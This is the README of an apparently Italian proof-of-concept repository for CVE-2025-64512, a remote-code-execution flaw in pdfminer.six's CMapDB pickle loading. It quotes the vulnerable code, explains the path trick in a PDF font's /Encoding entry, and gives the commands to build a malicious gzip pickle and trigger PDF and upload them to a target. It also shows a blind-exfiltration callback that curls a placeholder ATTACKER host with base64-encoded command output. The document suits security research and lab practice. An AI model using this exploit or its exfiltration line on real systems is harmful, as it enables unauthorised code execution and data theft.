
PoC per CVE-2025-64512: RCE tramite deserializzazione pickle di CMapDB in pdfminer.six con un PDF appositamente creato
CMapDB di pdfminer.sixProof-of-Concept per una vulnerabilità di deserializzazione in pdfminer.six
che porta all'esecuzione arbitraria di codice durante l'analisi di un PDF appositamente predisposto.
SCOPO / DISCLAIMER LEGALE Questo repository è fornito solo per scopi educativi e ricerca di sicurezza autorizzata. Riproduce una CVE pubblicamente divulgata e corretta. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non disponi di autorizzazione scritta al test. L'autore non è responsabile di qualsiasi uso improprio. Ambiente previsto: Hack The Box / VulnHub / lab locale.
pdfminer.six precedenti a 2025050620250506In cmapdb.py, CMapDB._load_data() legge un file CMap il cui nome deriva
dalla voce /Encoding di un font PDF e passa il contenuto a pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Tre proprietà si combinano per rendere sfruttabile la vulnerabilità:
pickle.loads() su dati controllati dall'attaccante -> esecuzione arbitraria di codice.os.path.join() ignora la
directory di ricerca e apre il file in quel percorso esatto..pickle.gz viene aggiunto automaticamente, quindi il percorso è fornito
senza estensione.L'exploit richiede il caricamento di due file nell'applicazione web vulnerabile:
payload.pickle.gz — un pickle compresso con gzip il cui __reduce__
esegue un comando e restituisce un dict a forma di CMap (così il parsing
continua senza problemi dopo l'esecuzione del payload).trigger.pdf — un PDF minimale che usa un Type0/CIDFont il cui font
/Encoding punta al percorso assoluto del pickle (senza estensione).Due dettagli a livello di PDF sono importanti:
CMapDB.get_cmap() viene raggiunto solo tramite un CIDFont (un font Type0
con una voce DescendantFonts), non tramite un semplice font Type1./, quindi il percorso codificato deve
iniziare con #2f per preservare lo slash iniziale del percorso assoluto.
Anche gli slash interni sono #2f perché / è un delimitatore di nome.Quando il target analizza il PDF (ad es. un watcher in background che chiama
pdf2txt.py), CMapDB._load_data() apre il pickle ed esegue il comando.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
Verificato end-to-end contro pdfminer.six 20250416 (vulnerabile): l'esecuzione
di pdf2txt.py trigger.pdf esegue il comando del payload ed esce con codice 0.
Il comando del payload è blind (senza output); esfiltra i dati tramite callback, ad es.:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| File | Scopo |
|---|---|
make_payload.py | Genera il payload.pickle.gz malevolo |
make_trigger_pdf.py | Genera il PDF trigger con /Encoding e offset xref corretti |
20250506